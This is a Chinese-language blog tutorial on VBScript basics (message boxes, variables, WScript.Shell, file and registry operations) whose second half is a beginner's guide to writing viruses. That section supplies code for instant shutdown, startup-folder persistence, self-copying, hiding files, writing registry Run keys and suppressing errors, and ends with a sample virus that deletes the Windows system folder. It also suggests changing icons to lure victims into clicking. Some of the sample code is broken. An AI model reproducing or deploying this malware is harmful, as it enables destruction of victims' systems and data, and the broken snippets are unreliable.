admin管理员组文章数量:1794759
vbs基础教程
vbs基础教程
前言 笔者学习vbs的资源来源于博客中的文章,写成博文时,有些难免理解错误,遇到错误的地方,请提醒我改正,谢谢。有些部分使用了其它博文的资料参考。
1.创建vbs脚本,Hello World! 鼠标右键,创建文本文档,将后缀改为.vbs,右键文件,点击编辑,输入以下代码
msgbox"Hello World!" 保存,双击打开,弹出了提示框,点击确定,提示框就消失了(记得要用英文标点符号)
msgbox是vbs的内置函数,语法: msgbox"提示框内容",常量,“提示框标题” 加括号则有返回值。这些有些复杂,会以后再学。
2.变量 dim number number=123456 msgbox number
上面的代码是什么意思?首先,dim可以新建变量,后面跟着变量名,number就是变量名。如果要创建多个变量,可以加逗号,如:
dim number1,number2,number3 (创建变量number1、number2、number3)
代码中的number=123456意思就是将number设定为123456 最后一个就是显示number这个变量的数值了。注意:显示变量时不能打引号。
3.输入函数 dim password password=Inputbox(" 输入您的密码"," 密码 ") msgbox password
Inputbox是vbs中可以接收用户输入的函数,语法: Inputbox(“内容”,“标题”)
4.将对象引用赋给变量,并运行程序 dim Objshell set Objshell=CreateObject(“Wscript.Shell”) objShell.Run “calc”
运行后,打开了计算器。 run 函数有三个参数,第一个参数是程序的路径,第二个是程序在窗口的形式,(0 是在后台运行, 1 表示正常运行) set将一对象引用赋给变量, CreateObject 可以访问windows 系统内安装的所有 com 对象,run就是运行外部程序的函数,Wscript.Shell 提供读取系统信的函数,calc则是计算器的名字。 本单元有些难,但很重要,请牢记。
5.运行外部程序 Set objShell = CreateObject(“Wscript.Shell”) objShell.Run""“C:\\Users\\123abc\\AppData\\Roaming\\360se6\\Application\\360se.exe”""
第一行我就不用讲了,而第二行也用到了run函数。如果要运行外部程序,必须要加三个引号。
6.FSO常见使用 常见的有复制、剪切、删除文件。 复制:copyfolder 剪切:movefolder 删除:deletefolder 首先,创建模型: set fso= wscript.createobject(“scripting.filesystemobject”) 复制: fso.copyfolder “c:/Windows” “d:/Windows” 如果d盘存在Windows文件夹,复制就会停止,可以用true强制覆盖。如: fso.copyfolder “c:/Windows” “d:/Windows”,true 删除: fso.deletefolder(“c:/Windows”) 剪切: fso.movefolder “c:/Windows” “d:/Windows” 不过,记得创建FSO的模型哦!
7.msgbox的常量 严重错误 vbCritical 16 惊叹号 vbExclamation 48 关键信 vbInformation 64 疑问号 vbQuestion 32
输入以下代码:
msgbox"hello world!",16,“系统提示” msgbox"hello world!",48,“系统提示” msgbox"hello world!",64,“系统提示” msgbox"hello world!",32,“系统提示”
执行后,提示框会有不同的符号。
8.SendKeys模拟键盘 Set WshShell=WScript.CreateObject(“WScript.Shell”) WshShell.Run “notepad” WScript.Sleep 2000 WshShell.AppActivate " 无标题 - 记事本" '寻找可执行程序的标题框 WshShell.SendKeys “hello”
wshshell.SendKeys中的SendKeys是模拟键盘,引号中输入你要输入的英文、数字或者标点,但不可以输中文。
如果要按下特殊键,需要用符号代替。 Shift —— + Ctrl —— ^ Alt —— % 其余特殊键用大括号括起来即可,如: WshShell.SendKeys “{ENTER}”
9.语音 要用到SPAI。 SAPI(The Microsoft Speech API),软件中的语音技术包括两方面的内容,一个是语音识别(speech recognition) 和语音合成(speech synthesis)。这两个技术都需要语音引擎的支持。
CreateObject(“SAPI.SpVoice”).Speak"你好"
你好可以随意替换,升级版:
dim say say=Inputbox(" 请输入你想说的话 :"," 语音 ") CreateObject(“SAPI.SpVoice”).Speak say
这时,就要取消引号,因为使用了变量say。
10.条件及循环 If 条件 then 条件满足时代码 End if
规定次数循环: For 计数器变量名称=起始计数值 to 结束计数值 执行循环体内容 Next
条件满足时执行则使用如下代码: Do while 条件 执行循环体内容 Loop
条件不满足时执行则使用如下代码: Do until 条件 执行循环体内容 Loop
11.读取注册表
set ws=wscript.createobject(“wscript.shell”) a=ws.regread(“HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz”) msgbox a
也就是读取HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz ,第二行是将a设为HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz 的内容,第三行即为输出。
vbs程序讲解及实例 病毒(不可对人使用,可以使用VM虚拟机来测试)初级
立刻关机
dim wshshell set wshshell = wscript.createobject(“wscript.shell”) wshshell.run “shutdown -s -t 0”,0
等等…
这些病毒太明显,容易被清除,并且是以双击的打开方式,接下来,就说说开机自启动的方法: 将以下代码写在脚本前面 set fso = createobject(“scripting.filesystemobject”) set ws = createobject(“wscript.shell”) pt = ws.specialfolders(“startup”) & “” set file = fso.getfile(wscript.scriptfullname) file.copy pt set WshShell = WScript.CreateObject(“WScript.Shell”) 运行后自我删除: Set fso = CreateObject(“Scripting.FileSystemObject”) fso.DeleteFile WScript.ScriptFullName
中级
病毒需要自我复制,也需要隐藏自己,下面就是隐藏的办法: Set fso = CreateObject(“Scripting.FileSystemObject”) Const Hidden = 2 Set f = fso.GetFile(“C:\\abc.vbs”) '隐藏c盘中叫abc.vbs的文件 f.Attributes = f.Attributes Or Hidden
自我复制: set copy=createobject(“scripting.filesystemobject”) copy.getfile(wscript.scriptfullname).copy(“c:\\123.vbs”) '把自己复制到c盘,复制体叫123.vbs
还有,WScript.ScriptFullName就是自身脚本的全部路径。所以,删除自己,复制自己都用到了WScript.ScriptFullName
此外,大部分病毒都会修改注册表: path=“HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/” set ws=wscript.createobject(“wscript.shell”) t=ws.regwrite(path & “键值”,“键值内容”)
当然,病毒程序如果出错,则会弹出错误提示框,所以要在程序前加此代码: On Error Resume Next
如果需要引诱用户点击,可以改图标。关于改图标的博文,我下一次发表。
病毒实例(这是我自己编的):
dim fso,copy,wshshell,Const Hidden set fso=createobject(“scripting.filesystemobject”) set copy=fso.getfile(wscript.scriptfullname) copy.fso(“c:\\users\\computer virus.vbs”) '复制自身到c:\\users\\ 复制体叫做computer virus.vbs Const Hidden = 2 Set hide = fso.GetFile(“c:\\users\\computer virus.vbs”) '隐藏复制体 hide.Attributes = f.Attributes Or Hidden set wshshell = wscript.createobject(“wscript.shell”) wshshell.run “cmd/c del c:\\Windows\\system” '太狠了,删除系统文件夹,删了系统报废!只能在虚拟机里测试。不得破坏被人电脑!(当然,杀毒软件应该都会报毒)cmd/c … 也就是使用cmd执行某某命令。你可以在命令提示符里输入del/?查看帮助.
这个病毒,有些简短,但是可以删除系统文件夹.当然你可以换成其他代码/命令。你也可以换成运行程序:自己写的Python,C/C++程序等等
病毒需要多个文件的配合,所以不要只用一个程序(vbs脚本),多个才更好!
最后,提醒大家:你要用你的知识维护计算机,而不是破坏计算机!如果你使用学到的知识对计算机进行破坏,将受到应有的惩罚!!!(你可以通过病毒探测系统漏洞,但不能对用户造成损失)这篇博文就到这里了,后续笔者会更新博文。
版权声明:本文标题:vbs基础教程 内容由林淑君副主任自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.xiehuijuan.com/baike/1686756339a98775.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论